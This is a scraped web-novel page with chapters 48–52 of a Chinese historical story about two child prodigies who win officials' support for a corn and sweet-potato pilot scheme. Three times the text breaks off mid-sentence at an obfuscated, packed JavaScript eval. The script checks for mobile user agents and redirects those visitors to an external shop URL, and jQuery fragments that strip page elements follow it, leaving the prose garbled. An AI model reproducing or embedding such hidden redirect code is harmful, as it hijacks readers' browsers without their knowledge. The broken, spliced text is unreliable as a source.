“这事情办成,钱,不用担心。往后便是你的政绩,那都是板上钉钉的事情。况且这事儿,扯了矿税旧案,陛下也说要妥善处置,咱们便不能来硬的,只能找点折中法子。” 这话里话外,说的都是:盐商那群人,现在花钱买命,也愿意帮忙承销玉米番薯,咱们合计一下,这事能不能办,办了功劳大不大,别用死盯着巡盐的事情,皇上都开始和稀泥了,咱俩钻牛角尖,那不是往枪口撞? 当然,吕纯如浸淫官场这么些年,耳朵早就练出来了,自动就把话给翻译了一遍,心里不免有些惊讶。 “周氏子和郭氏子,如此能耐?” 闻言,曹谨行眯起眼笑了笑,意味深长:“两权相害取其轻,这个道理他们还是懂的。” 这话边说,两个人也都走到了酒坊门口,吕纯如叹了口气,没拒绝,也没开口马上答应,他朝着酒坊指了指,向身边人道:“去,打两碗酒过来。” “是。”一旁的胥吏闻言,马上走了过去。这一下,便不得了。 “嘿,你挤我干嘛——”大汉转头,哎哟天呐,怎么两个穿红袍头戴乌纱帽的大老爷,站在街中间呢! 他瞪大眼睛,扯着嗓子:“钦差老爷来了!这周寡妇家的酒,竟把钦差老爷都吸引过来了!” 曹谨行:…… 吕纯如:…… 嗨……你这么大嗓门干嘛。 两人尴尬一笑。 “沽酒,我和曹御史过来,也是沽碗酒,你们顾着自己就是。” 一时间,人群躁动声更大了。 曹谨行脸上波澜不惊,手揣袖子里,吕纯如到底是也见过大场面的,微微蹙眉不过一会儿,便展颜,朝着人群摆手,端的是封疆大吏的亲民姿态。 笑道:“今日不论官民,只论酒客。这酒香把本官也引来了,看来周家掌柜,确有过人之处。” 他这话出口,那更是不得了,直接让人群沸腾了。 “连布政使大人都说好!” “这酒怕是真要成贡品了!” 酒坊门口简直是热闹极了!且说回另一边,早先得了消息,周瑶在家里头打点了一番,这会儿朝着田里望过去,挖番薯的,掰玉米的,忙的是不可开交! “今天,大伙都精神点!等会儿钦差大人们来巡查,咱可得把事情办妥了。” 周瑶说到这一转头:“小桃,你等会儿去取点钱,分给大家,当是辛苦钱,犒劳犒劳大伙!” 49.第 49 章 “好嘞!掌柜的。”被称呼为小桃的姑娘,面容憨厚老实,瞧着就是个干活麻利的。周盈也是看中她算账本领不错,便带在身边当个贴心人。 也就在小桃走了没多久,不远处有道影子急匆匆小跑过来,汗流浃背喘着气:“掌、掌柜!外头来人了!一大群人!还有两个穿红袍戴乌纱帽的!” 嗯? 这么快? 周瑶闻言也是惊讶,手上丢下东西,转头就朝着周府方向走去。 一路上问了些事儿,比方说来了多少,学生还是别人?那两个官府老爷们什么表情? 总归是事无巨细。 到了门口,进了屋。 大院子里,养蚕蓄丝的婆子们手上动作不停歇,见着周瑶进屋,一个眼神老辣的婆子直接开口:“掌柜的,那小掌柜带着一群人去了酿酒坊,你快赶过去看看,我见着两位大人估摸都是朝廷来的,份大的很。” 嘿,这是错过了! 周瑶闻言,着急忙慌出了门去。 周家的酿酒坊建在周府往东一些的田边,这里人烟稀少,便能建的大一些。 周盈今日穿一身素白暗纹裁成的程子衣,走动间,广袖飘飘,他喜白,周瑶也觉得他穿白的好看,周盈衣柜里,便大部分都是白色。 少年走在前头一点,挽起的发散了几缕头发丝,随着清风摇曳,惹那白肤十足清润,在太阳底下,活脱跟个玉人似。 “二位大人这边请,路上走着泥泞,当心脚下。”周盈也不拘谨,脸上带着笑,一副东道主架势。 他身后跟了一群人,除开郭嘉,那张岱、杨业,也都是被拉过来的,毕竟这事儿还得拉两家进场不是。 见着周师弟在前面能说会道,几句话就把两位大人说的皱起眉深思,张岱啧啧称奇。 早先这事情一提出来,实在是吓了他一跳,张岱觉得两个小师弟实在是跳脱,怎么能从巡盐的事情,跳到番薯玉米推广上的? 这脑子怎么长的?太稀罕人了。 当然,为了说服张家人脉关系,张岱也是跟自家老爹合计了一下,总归是一敲一打一威逼利诱,算是勉强把人心聚在了一起。 其中心酸,不足为外人道。 杨业心里叹了口气,目光却落在前头不远处两人身上,一人长身玉立,一人脱俗灵气,便是这么个年纪,就能闯出这么大名堂。 他觉得自己这些年白活了。 人比人,气死人。 回家还得被老爹念叨:你看看那周寡妇家的孩子!再看看你没个出息样! 嗯……别人家的孩子的威力,已经开始不分敌友的炮轰起自己人了。 不过两人心里嘀咕归嘀咕,那佩服也是真佩服,起码这事儿,两家是欠了天大人情了,怎么都得还。 帮忙承销一下,这都不是事情,更别提有钱大家一起赚。 一行人脚步微顿,吕纯如指着酿酒坊门口:“这儿,酿的酒都用的什么曲?” “先前,是用高粱、稻麦的,但两位大人也知道,这粮食总归是给人吃的,拿去酿酒多少都心疼,可以前都是这样,咱们也就只能跟着做。” 周盈手从袖子里伸了出来,低头看着那摆在桌上的盆,手拿起便是的筷子搅和了一下:“这会儿,便是因为有了玉米,咱们酿酒用的曲,也就少用粮食了。” 他说着,手指了指:“你们瞧,玉米出的酒,比起高粱也不差,且闻着有股清甜香味儿,是少有的酒曲好种。” 吕纯如闻言,凑近了一些,嗅了嗅,倒还真是,他脸上有些诧异,心里兀自掂量,这事儿要是真的,可就不得了。 酒这种东西自古以来都是家常必备,便是从太祖时期严下酿酒禁令,却依旧不能遏制民间自行酿酒的风气。 为什么要禁止?便是因为酿酒得费粮,粮能饱腹。 而今玉米一出,能让酿酒的酒曲少一半用高粱稻麦,那都是不得了的事情! 吕纯如看了一眼曹谨行,对方竟是半点儿惊讶都没有? 嘿…看来这老小子,早就知道了! 曹谨行颔首一笑,捋着胡须:“周神童家里头,早先试着用玉米酿酒,酿错了,酿成了醋!” 这话一说出来,一群人都笑了起来。周盈莞尔,眼神思绪一转,反而开口道:“玉米酿酒,也得看酒粬配方如何,我娘为了这事儿,花了好些功夫,这才是第一窖,出的酒便如此清甜可口。这也是拿出了成绩,才敢让两位大人过来瞧瞧。” “也好商量着,看看能不能让那些佃农找个生计,一来,吃口饱饭,也不用藏着掖着,把田抵给别的乡绅。二来呢……咱们虽然是老百姓,也知道朝廷的艰难,种了玉米和番薯,酿酒、卖给我们、亦或者自己拿来吃,都是可以的。到时候百姓们有了余粮余钱,这自然也是愿意为朝廷分忧的。” 他说的话含蓄,毕竟也不能直接往明面上指摘国策,税的问题一向来是禁区,谁碰谁容易死。 但两个做官的,都是老狐狸,一下子就听明白了这话里头的含义,吕纯如看了一眼曹谨行。 心里是明白了,曹谨行喊他过来,不单是为的推行这个番薯玉米政策,更多的还得是拉他一起,背个锅。 一个人,再加上他身份特殊,必然会被朝廷里的指摘攻讦。 两个人,还是地方布政使,正好就专业对口了。便是攻讦,那也拿不出什么正当理由来。 毕竟巡盐御史是钦差,到地方见了那么大的案子,不过问一下那都不合适。 一件事想要办成,不是看你有多少胜算,而是得看你能拉到多少人。 周盈见两人都没开口,使了个眼色给一旁摸鱼的郭奉孝,那家伙可闲了打从一开始就悠哉悠哉,东摸摸西摸摸。这会儿撇嘴,上前一步行礼道:“二位大人莫担心,此事,一开始也是因郭氏清退田产,惹的那些佃农不满。” “咱们郭氏好歹也是地方的大户人家,这事情要是能办,由我们牵头,把田改一半拿去种玉米和番薯,至于那些佃农,咱们可以借粮出去,让他们今年改一半田试试,来年再买他们的玉米和番薯,这样一来也就保证了这些百姓的生计 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17754434|203982||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 。” 他说到这,手上抓起一把已经掰好的玉米粒,脸上全无应对的忐忑和拘谨,反倒侃侃而谈,说的吕纯如心里颇有诧异。 这山阴县,倒还真出了两个神童了。 昨日见了那两份策论,吕纯如本还是带着浓浓的怀疑的,不曾亲眼瞧过,自然是不好随便相信。 那策论写的头头是道,条理清晰,更是一针见血鞭辟入里,便是他都见之感慨再三。 若是哪位大儒或进士所写,他必然要上门拜访,但竟是两个在山阴县出名的神童,多少有点令他觉得太过不可思议了。 想到内阁奏疏的意思,吕纯如皱起眉,低头看了一眼郭嘉手里的玉米粒,手指着道:“此物,亩产几何?” 这是问到点子上了。 郭嘉闻言,眼睛思绪一转间,将手上的玉米粒,塞进嘴里咀嚼,几个人目光就顿时都看向了他。 等他咽下再开口:“细心打理,一亩可产两石以上,且耐旱瘠,无需挑选良田便可种植。” “若是在江南之地,便也算不得太稀奇,但种子可以培育,一开始种的时候亩产不过百,而今能到三百左右,也是一代代筛选下来。” “更重要的是,若能去那些田地贫瘠的地方推行,这玉米不挑地,耐旱瘠的优点,也就显现出来了。” “吕大人,可尝一尝。” 这话一出口,吕纯如都愣住了。玉米这种东西,他见是见过,但江南之地,种的都是稻麦,极少有人会去种玉米,因而也不甚了解。 如今听了这分析,一时间也颇有兴趣,手上拿起一粒塞进嘴。 咀嚼间,只觉糯香,只有极淡的甜味,口感不算难吃。 几个人看他这般动作,也都没开口。曹谨行拿起玉米粒看了看,叹了口气道“这是好东西啊!若真如你所说,那些贫瘠之地的百姓,都有饱饭可吃了。” 听了这话,周盈莞尔,适时开口:“这事,还得朝廷老爷们做,我们都是这平头百姓,能把粮种出来,也算是功劳一件了。” “对对,正是如此。” 几个人谈话,也就在门口停了有一会,撩起袖子,搬着酒粬出来的汉子低着头往下走。 见着周盈和郭嘉,笑得憨厚,刚想开口,就看着了两头戴乌纱帽,着一身红官服,身后还跟着几个胥吏的曹谨行和吕纯如。 这一下直接把他脸色吓得惨白,放下东西,朝衣服上擦了擦手,拘谨行礼开口:“草民沈二柱,叩见两位老爷。” “二柱!你干什么呢!要的酒粬呢,等会儿误了时间,酿坏了酒,这损失你赔吗?真是的,到哪偷懒——”也就这会儿功夫,从酿酒坊出来的妇人气势汹汹,嘴里嘟囔着什么,手上还拿着根棒槌。 左右没看着人,再一看,哎哟不得了! 她瞪大眼睛:“这、这这……” 见她一时支支吾吾,周盈想了想,干脆顺水推舟:“张婶,你把里面的伙计叫出来,见见两位大人。” “好好,我这就去。”说着话,张婶是着急忙慌往里跑。 50.第 50 章 也没一会儿功夫,酿酒坊出来的一群人个个人高马大,见着了几人都行礼。 “老爷!俺们都是边上的农民,周寡妇家要俺们种地干活,也就过来帮帮忙!都是街坊邻居,这酿酒坊可干净了!酿的酒是全山阴县最好的孩儿笑。” “是啊,周寡妇家平常还帮些孤儿寡母,她们家的人,都心善呢!” 几个利索的,不怕生的,行了个礼就开始张嘴叭叭叭,说的头头是道,市侩的很,把周盈和郭嘉两个,夸的都快不好意思了。 曹谨行闻言,脸上难得带笑:“你们都是帮着种地的?” “是啊是啊,周寡妇家里头人不够,这些天赶上玉米番薯都丰收,我们来给她掰玉米,挖番薯呢。” “哦?亩产多少啊?” 那妇人闻言,皱眉想了想:“我一个妇道人家,数也是数不清,但看着那地里头,一茬一茬的番薯,结的果子一串有几十个多,连那番薯叶子,都能摘了煮着吃,当真是稀奇极了。” 那可真是稀奇了,连叶子都能吃? 两位大人也是听的一愣一愣。 这会儿赶过来的周瑶,喘着气,见着一群人在酿酒坊门口站着,顿时扬起笑:“二位大人,民妇有礼了,刚忙着收地里的番薯和玉米,这会儿才赶过来,还望担待。” 曹谨行也是摆手道:“不妨事不妨事,本官与吕大人也是过来看看,周夫人,不知可否往前带路,去瞧瞧田产如何?” “这是自然,二位随我来。” 几个人跟着往前,总算是闲下来的周盈退了下来,小叹了口气,心想着这事儿总算是开了个头。 有布政使在,起码这件事情传出去,一些心里有想法的人,再怎么也得掂量掂量,想使绊子,底是为民着想的,还是为己谋私? “哎?小师弟,你们这玉米和番薯,是怎么选的呀?真能亩产几百?这也太稀奇了?早先我家也是种过,但种出来的……实在不尽如意。”凑过来的张岱,这会儿都憋坏了,直接把郭嘉挤走,一伸手搂着周盈胳膊,一副哥俩好架势。 周盈呵呵一笑,不着痕迹把他的手挪开:“这是机密,张师兄还是不要过问了,等这事情办妥,往后还得靠张师兄和杨师兄了。” “小事情,我们有分寸的。”杨业颔首,他一开始是没明白,但如今听了一路,也是懂了两个小师弟这算盘打的是有多响了。 这事一旦能成,将来前程似锦不说,说不准呢……还能把家里的产业,从盐引转到农田上。 商贾有钱归有钱,盐商更是有钱,但说到底的,没有权势,就是肥羊。 如今要是能上了这艘船,便是有了地方官的撑腰,这事儿往朝廷一送,好歹是为国为民的大事。 杨家沾点光,总归能安然无恙的。 但凡是脑子正常的,那都不会放过这么个机会。 郭嘉啧了一声,见这两人眼里头精光闪烁,小算盘打的他都听见了,小声开口:“可别想的这么乐观,这事开了头,多少眼睛盯着,到明年前,我们都得打起精神来,等明年玉米番薯的亩产出来了,才能算真在朝廷那儿挂了头名,你们两家,也算彻底洗白了。” “张师兄,杨师兄,这事儿,你们盯紧了啊。” “那是……不对,怎么就是我们盯紧了?”张岱本想随口答应,结果一细思琢磨,不对啊,这事不是两位小师弟牵的头吗? 郭嘉眼带戏谑:“我们这是为了救你们,才绕这么大圈,这事儿如今板上钉钉,要你二人出资出人,若是办不成,你猜那曹谨行,会不会转头抄了你们家填亏空?” “……” “……” 张岱背后一阵寒意,杨业这会儿已经没脾气了,两个人是熟悉他的性子,知道这家伙又开始忽悠人了。 “郭师弟,人小鬼大。” 张岱手一搂肩膀凑近了一些,拍了拍:“就是,咱们什么交情,还用得着这样说?” 郭嘉挑眉,心想着这次两人倒是学精了? 还真没意思。 “好了,嘉弟顽劣,没那么严重。”周盈忍俊不禁,事情哪有这样的说的。 两人为了这事情,这些日子忙前忙后,主要还是想着怎么能借张杨二家的人脉关系,给自己积蓄点原始资本。 就目前来看,已经是超额完成了。 “有什么事呢,来找我们就是,等事情定下,估计你二人也有的忙了,学业上的事情……” 说到这,周盈话一顿。 张岱连摆手:“不不不,学业没事,我这人呢,就是喜欢热闹、美人、好玩的、有趣的,就不是读书的料,真要考不上,混吃等死也花不完这钱,总归是吃亏不到我。” 他想的挺开,也挺无所谓。要不是老爷子非得拿棍子揍他,张岱哪还能把自己学的头发都一把把掉的呢? 这东西真看天赋! 本来张岱还想着,好歹自己努努力,总归得有个结果不是? 但老天爷仿佛给他开了个玩笑,派了两个小妖孽来到他边上,刺激他。 张岱可算是明白了,没天赋的事情,努力了那也没什么好结果,算了算了。 杨业也是无奈一笑:“我本就是盐商世家子弟,这种事情做起来得心应手,小师弟就莫担心了。” 周盈闻言,倒是忍俊不禁,见这两人这样说话,心里也是有些无奈,这话说的,倒好像是逼着两人放弃科举功名。 这也不妥,若是光顾着番薯玉米的事情,误了学习大事,那罪过就大了。 这么想着,周盈手点了点二人,笑容渐深了一些:“两位师兄,莫不是想躲功课?这可不行,等这事情暂时办妥,我和嘉弟得监督着你们学习了。” 张岱张了张嘴,脸上闪过一丝心虚:“也、也不是这么说。” 杨业见他吃瘪一样的表情,笑着用手肘推了推他:“小师弟好心给我们俩开小灶呢,这不得谢谢人家,好歹是山阴县神童呢!” “张师兄就别想着那群狐朋狗友了,我看啊,离远点,你这功名准能考上。” 郭嘉抱着胸,一眼就瞧出张岱那脸上憋的是啥小心思了,还不就是觉得学习的日子太苦,不如跟朋友出去玩来的有意思? 他懂的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17757149|203982||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ,毕竟他也有这个阶段。 当年还在颍川的时候,郭奉孝可是十里八乡出了名的……混世魔王。 总的来说就是,自己不爱学,还得带坏同乡,几个玩得好的,都“惨遭毒手”过。 不过玩归玩,他纯纯是对那些儒家学说没什么兴趣,天赋不点在这上面,那都是荀彧和陈群的天赋所在。 拿自己短处跟别人长处比,不是自讨苦吃吗? 但好歹,他还是心里门清,哪些人能交哪些人不行,可张岱就不一样了。 这家伙,什么人都交朋友,身边围了一群沽誉钓名,只知道带坏小朋友的臭虫,实在是让郭嘉看得扎眼。 还是学习吧,小朋友。 学累趴了,就没心思出去鬼混了。 这么想着,郭嘉嘴角一翘:“张师兄放心,学习的事情,你郭师弟可有心得了,等明儿,郭师弟亲自给你开、小、灶!” “哦?那感情好,我还是喜欢跟郭师弟说话,咱俩性格合得来!”张岱一听,眼睛都亮了,比起周师弟那种大卷王的行事作风,他还是更喜欢郭师弟这样随性风流的! 他相信郭师弟,一定会给他开后门的。 郭嘉见他这小模样,也是笑眯眯的,眼睛弯起来,跟小狐狸似的。 年轻就是好,一忽悠就上当。 后头几个人闲聊,前面几个人参观,也就一下功夫,就把这百亩田大概走了走,一路上,堆满了小推车的番薯,丢在边上的玉米堆,总之是忙得很,也乱得很。 周家随着这些年积蓄,已经从最开始的个人小作坊,发展成如今雇佣四五十人也不心疼的规模了。 临近黄昏,曹谨行等站在田间,看着不远处的农民忙碌的影子,想了想,朝吕纯如道:“今日一观,吕大人以为如何?” 吕纯如这会儿也是颇为赞叹和感慨,这小小山阴县,倒还真是藏龙卧虎。 “此事大有可为,但如何行事,还需细商才能成。” “这是自然,事情我们也有个初步打算,不知两位大人可愿一听?” 说话的是周盈,他一开口,几个人的眼里也都带了几分好奇。 “哦?说来听听。” “我们可请曹大人上疏,将山阴县发生的这些事情如数呈报,便以‘试种新作物以补漕粮、解民困’为由,在山阴县设‘官督民办’的试点。” “由郭氏出田与管理,周氏买得玉米和番薯进行加工酿酒,佃农们出力种植,杨家打通漕运关系以及南下销路,张家出钱出粮周转。” 曹谨行细细思忖,吕纯如便也看向张岱和杨业二人,两个人猛点头。这会儿他俩还能有什么不满意的?一件原本抄家的大事情,被小师弟们这妙手一转,就成了‘官督民办’的大好事了! 都是人脑子,怎么有的人就这么好使呢? 吕纯如皱眉,想了想,缓缓颔首,吐出的字句却重若千钧:“好吧,我看这事儿,于国于民,确为良策。但兹事体大,得具文详陈,呈报朝廷定夺。” 他没把话说满,也是个老油条了,凡事都知道必须上报,才能再往下办。 51.第 51 章 周盈也没想着今天就能把事情敲定,毕竟这事儿兹事体大,吕纯如心里担忧忐忑也是正常。 “不过……”吕纯如话锋一转,看了周盈和郭嘉一眼。 “尚有一事,还需与你二人细说。” 嗯? 什么事情,还得单独跟他们两个人说? 这事情稀奇,周盈心里思忖了一番,吕纯如官位不低,能叫他亲自出马,想来是跟朝廷里的事情有关了。 “吕大人这边说话。”他伸手一引,也不多说什么。 “事情是这样的,你二人先前,在大庭广众下,公然恳请曹御史为尔等翻矿税旧案的事情,皇上也已经知道了。” 说着话,吕纯如低着头往前走,看着地上散落的一些玉米粒,心里头也在打着草稿,等离的地方够远了,这才缓缓转身,眼里带着几分锐利的精光,盯着二人。 “此事关乎浙党,事我不能细说,现在朝廷里的意思,也不是说不给你们翻案,但这会儿多事之秋,国库亏空,税收不足,咱们也实在难办事情。” 这意思,其实就是翻不了案了。周盈闻言,看了郭嘉一眼,对方眯着眼,脸上是面无表情,只等着吕纯如接下来的话。 “案子虽说,暂时没法子给你们一个交代,不过皇上也是念着你们一片孝心,再加上这些年,想来你们在山阴县过得也辛苦。” “尔等寻到了玉米、番薯这样的良种,又提出了这样大的策论,本官也是惜才,便想着,上述一封,替你们讨个功劳,将来若是入朝为了官,也要念着皇上这片圣心啊。” 吕纯如说完,叹了口气,手捋着胡须,看着两人,心想着,事情虽棘手,但也只能折中解决了,既要保着皇上面子,又得让这两位小神童不闹出大乱子。 也就只能,这么办了。 他看了一眼两人,显然这番话,让周盈和郭嘉都十分惊喜。 见着周盈眼眶微红,一副激动的模样,吕纯如心里也是松了口气,到底是七八岁的孩子,再怎么沉稳,情绪都挂在了脸上。 穿白衣的周盈上前猛行了一礼,跟在他边上穿着浅蓝程子衣的郭嘉也跟着往前一步。 吕纯如见状忙将二人扶起:“好了,你二人也算是苦尽甘来,有了皇上封赏的功劳,将来功名前程,指日可待。” “少年有为啊,我在你们这个年纪的时候,还是哭着闹着不要读书呢。” 大约是解决了心头大事,吕纯如说话也温和了一些。 周盈脸上带着十足的感动,朝着郭嘉说道:“嘉弟,咱们总算是能无后顾之忧的考功名了!” “啊、啊!是啊是啊!吕大人真是百姓的好官啊,咱们可是拨云见日了!”郭嘉吸了吸鼻子,眼眶都红了点。 他瞄了一眼周盈那只手,捏着自己后腰,心里那可谓是鸟语花香了。 知道你要演,能不能别掐他! 郭嘉的“泪眼汪汪”,看得吕纯如心里欣慰,是个知恩图报的好孩子,到底也还小,他这事办的,也算是有点自己的私心。 总归,说来说去,一是想要政绩,二呢,也就是留个好名,将来等两人入朝为官,他吕纯如也没坏处。 这事儿也就周盈和郭嘉知道,眼看着太阳都快下山,两位大人也就都坐上了轿子,慢悠悠地走了。 送走人,郭嘉揉了揉腰后被掐疼的地方,啧了一声:“你下次下手能不能轻点?掐的不是你,你是真不疼。” “我叫你演个戏,你杵在那跟个门神一样,这也是非常之举。”周盈也是没好气,要不是他反应快,这可就穿帮了! “欸?刚刚吕大人跟你们说了什么?说了那么久?”见两人扭捏的样子,张岱走过来,好奇的打量了二人一番。 “郭师弟,你刚哭了?眼睛怎么红了?” 郭嘉:…… 周盈憋着笑:“好了,这事儿办妥了,你们还不走,打算留这吃饭?” 张岱闻言,嘿嘿一笑,直接抄起手左右一捞,也不顾周盈和郭嘉两个人惊讶的表情,直接拽着人往外走:“走,你杨师兄刚去组马车了,咱们今日,出去吃!去整个山阴县最好的酒楼!你张师兄请客。” 他是心里开心,一直悬着的心也舒坦了下来,只想出去当个散财童子,给自己寻点乐子,顺道庆祝庆祝。 周盈当下就被拽的离了地:“等会!我就不去了,我娘等着我吃饭呢!” “说什么呢!怎么能少了周师弟?是吧,郭师弟?咱们上回听的那曲《牡丹亭》如何?” 郭嘉呵呵一笑,说实在,他早过了喜欢出去找乐子的年纪,里子都已经是个千年老狐狸了,哪还对这会儿的东西提得起什么兴趣。 “欸,走吧,也是难得,咱们几个办成了这样的大事情,不庆祝,也确实说不过去。” “就是就是!周师弟不许破坏气氛!” 周盈闻言,也是无奈一笑,只能舍命陪君子了。 一件大事落下,接下来的山阴县,因曹谨行巡盐的事情,而逐渐的掀起惊涛骇浪,他着手与盐课漕运,顺藤摸瓜,将不少贪墨的胥吏小官抓了个正着,连带着地方一些牵扯的乡绅,都被罚抄了家产。 一时间,整个山阴县都噤若寒蝉。 朝廷派遣的新任县令也紧赶慢赶的来到了山阴县,此人姓张名智林,是万历二十六年举人。 周盈也不知道曹谨行奏疏上写的是什么,总归,这一阵风浪,吹不到他们几个。 杨业和张岱忙着事儿,估摸着也是与巡盐有关,也就好几日都没来上课。 临近联考前夕,曹谨行有了,带走了大批相册,还有抄没所得的银两,准备继续他的巡盐之路,这一路,从浙东到南直隶,应当不会太顺,但有了山阴县做榜样,其余地方的盐商、乡绅等,到底想当被杀的那个鸡,还是被儆的那个猴。 周盈就不太清楚了。 潘岳私塾,朗读声阵阵,过了深秋,就是入冬的季节了,这会儿天越发冷了下来,屋里头打瞌睡的几个学生,都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17759583|203982||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 被冻的睡也睡不着,只能睡眼惺忪的看着桌上蚂蚁一样的小字。 周盈翻阅书本,看着上方早已熟读千百遍的圣人经文,他看了一旁,正头点,晃悠悠,手撑着脸颊的郭嘉。 陈夫子的脚步缓缓走来,周盈便拽了拽郭嘉。 “嗯?”还有些没反应过来什么情况,郭嘉皱了皱眉。 “怎么了?” 周盈:……没救了,你等死吧。 “我看你,天天在私塾课堂睡觉,莫不是家里的床,没有私塾的桌舒服?”陈夫子语气幽幽,听不清什么情绪来。 郭嘉闻言抬起头,心里不免也有被抓住小辫子的尴尬。主要是这些书啊文章啊,他实在是不想听也不想读,那都是死东西,读一遍也就算了,读个十遍二十遍,能有读出什么名堂呢? 这就是死读书。 “夫子,这圣人的书,你叫我们读了几十遍,能开窍的早开窍了,不能开窍的,读多少遍都没用。” “要我说,还不如多让学生们多去外面实践,也总好过在这儿天天谈心谈理,这是空谈。” 陈夫子一听这话,眯着眼皱起眉:“那你说说,你们那番薯玉米的试验田,倒是弄的如何了?” 郭奉孝眨了眨眼睛,起身开口道:“还行,佃农们虽说一开始不乐意,但我们说借粮给他们,又不用他们出钱去买种子,有一部分便松了口。” “还有一部分呢?” “那些…”说到这,郭嘉也是有些头疼,虽说有一部分是被他们说服了,但也有一些硬骨头,怎么劝都不肯,怎么说都不听。 这事儿,让他也觉得有些无奈。 想想也是能明白,让一直种田的农民去种一个以前从没种过的东西,也是要有勇气的。 “哦?那一部分人,你们准备如何处理?”陈夫子捋着胡须继续追问。 “不急着,也不要去逼,我们就让这一部分肯种的,等明年有了收成,卖了玉米番薯。到时候拿到真金白银的好处,这事儿就会滚雪球,越做越大。” 陈夫子闻言,心里赞同几分,但脸上依旧板着:“说的头头是道,做起来,千难万难。不过你说的,确实也提醒了夫子。” 嗯? 竖起耳朵听八卦的一众学生不免稀奇了,向来喜欢跟郭师弟勾心斗角的陈夫子,竟也有向对方认输的一天?今儿的戏,唱的不是很精彩啊。 但很快他们就乐极生悲了。 “朱子、阳明子之学说,讲的格物致知,知行合一,亦言:存天理灭人欲。此为恪守己心,所行所知,皆为一体,其理在天为道,其理在地为生,其理在人为性。” “因而,只顾着在私塾读书,却不曾去外头看看,这书读起来,也就容易入了歧途。越读书越走歪,这才是最可怕的事情。我已与私塾的夫子们商量好了,明日开始,每日抽调学生去田地里亲身实践,这是循理之路,你们可得好好学习。” 他说的话不急不缓,说的整个班级一阵愕然! 52.第 52 章 啊?不是啊夫子。 咱们不是学生吗?不是士人吗! 怎么读个书还得去田地里干活的?这是不是…… 当下就有人开口:“夫子,这样会不会不合适啊?” “有什么不合适!” “夫子,可是我们马上要童考/乡试了,这、这让我们如何安心学习?” “去种田,难道就不是学习了?你们看看你们的周师弟、郭师弟!才几岁,就写下了惊天的策论,拿出了玉米番薯这样的良种!让巡盐御史和地方布政使都为之侧目!你们呢?” “……”呃,不是。夫子你这样说就有点伤人了,师徒的小船说翻就翻! 底下的学生们嗫喏着,想说点啥,发现怎么开口都不行,那就是自己没本事啊!他们要有这个本事,早就尾巴翘上天,天大地大,老子最大。 这事情真嫉妒不来。 “那能一样吗…” “就是就是,夫子把周师弟和郭师弟当成心头宝,把我们就都当成了路旁土。” “诶…种田怎么种来着,你们有谁种过?” “……”你这个重点歪了! 陈夫子看了一圈底下交头接耳,窸窸窣窣的学生,再看周盈二人气定神闲的模样,心里也不免有一种,学生比学生,那真是比一个丢一个的想法。 一堂课,鸡飞狗跳的落下帷幕,学生们呜呼哀哉也不能改变什么,只能拿幽幽的目光看向两个小师弟。 跟天才在一个班,受伤的总是他们! “可别看我,先前要不是我,师兄们这会儿还能这么闹腾吗?”这是提醒众人,要不是他郭奉孝以身入局!拿辛苦命苦论辩驳,大家伙根本轻松不了一点,早就被陈夫子那高压般的功课作业给压死了! 一群人闻言,也是牙疼,还真这么回事。 他们现在是真“命苦”了! 郭氏田产颇多,这会儿因着要种玉米和番薯,早先丰收了的麦秆,如今被熟练的佃农们松了土埋进了里头。 这玩意儿烂了后,能当肥料使。 新上任山阴县令的张智林,这会儿身着七品靛青官服,头戴着乌纱帽,正走在田间小路上,身后跟着几个胥吏,边上笑的讨好的,正是郭勋。 先前郭嘉以雷霆手段治住了这帮没什么出息的傻亲戚,因此短时间内不会有什么太大问题。 再加上‘官督民办’的政策一下来,郭勋那儿令了命,这会儿是打起了十足的精神,都得把这事儿给办稳妥才成。 这可是朝廷亲自下发的命令,要郭氏领头,改部分田以种番薯玉米。郭勋到底是活的年纪大,吃的盐也多,一下子就琢磨明白这里头的大文章。 真是不得了咯,本想着是没了办法,这才任由郭嘉去闹腾,左右成不成,那郭氏也都没什么大损失,也避免了名声被毁。 但他是真没想到,这事儿能成的。若事情真办妥了,郭氏将来飞黄腾达指日可待。 因此,郭勋对这件事情格外上心也格外热情,接到了县令亲自前来的消息,便赶忙自己出来迎接。 张智林巡视了一番,看着一眼望不到头的田,手负背后:“郭老爷子,本官也就不多绕弯子。本官上任,也是接的朝廷圣旨,要本官来山阴县,将这番薯和玉米的变法推行下去。” 他说着,略微侧了侧身,清瘦的身影穿着官服,颇有几分松骨之姿。 “说到底,这事情,都是为国为民。若玉米番薯真能推行下去,能弄出名堂,咱们大明朝两京十三省的百姓,不说都能吃饱饭,但也能有七八成,能吃上一口饭,饿不死人。” “这事情,是能上史册的千秋大业!” 